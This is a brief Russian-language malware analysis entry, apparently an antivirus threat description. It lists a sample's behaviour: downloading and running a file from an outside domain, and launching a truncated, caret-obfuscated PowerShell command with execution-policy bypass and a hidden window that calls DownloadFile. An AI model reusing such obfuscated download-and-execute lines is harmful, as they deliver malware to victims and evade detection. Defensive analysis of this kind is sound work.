Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://randoz-pandom.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^o^wERS^H^E^ll.^ex^e^ -^E^XecU^T^I^O^NpOliC^y^ b^YPas^s -nOp^rOf^il^E -W^INDOws^tyl^e HId^d^EN^ (NEW-Object sYS^t^E^m.^neT.wE^b^c^l^ie^Nt^)^.doWnl^Oa^DfiLe(^'http://randoz-pand...
Сетевая активность
UDP
- DNS ASK ra####-pandom.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^o^wERS^H^E^ll.^ex^e^ -^E^XecU^T^I^O^NpOliC^y^ b^YPas^s -nOp^rOf^il^E -W^INDOws^tyl^e HId^d^EN^ (NEW-Object sYS^t^E^m.^neT.wE^b^c^l^ie^Nt^)^.doWnl^Oa^DfiLe(^'http://randoz-pand...' (со скрытым окном)
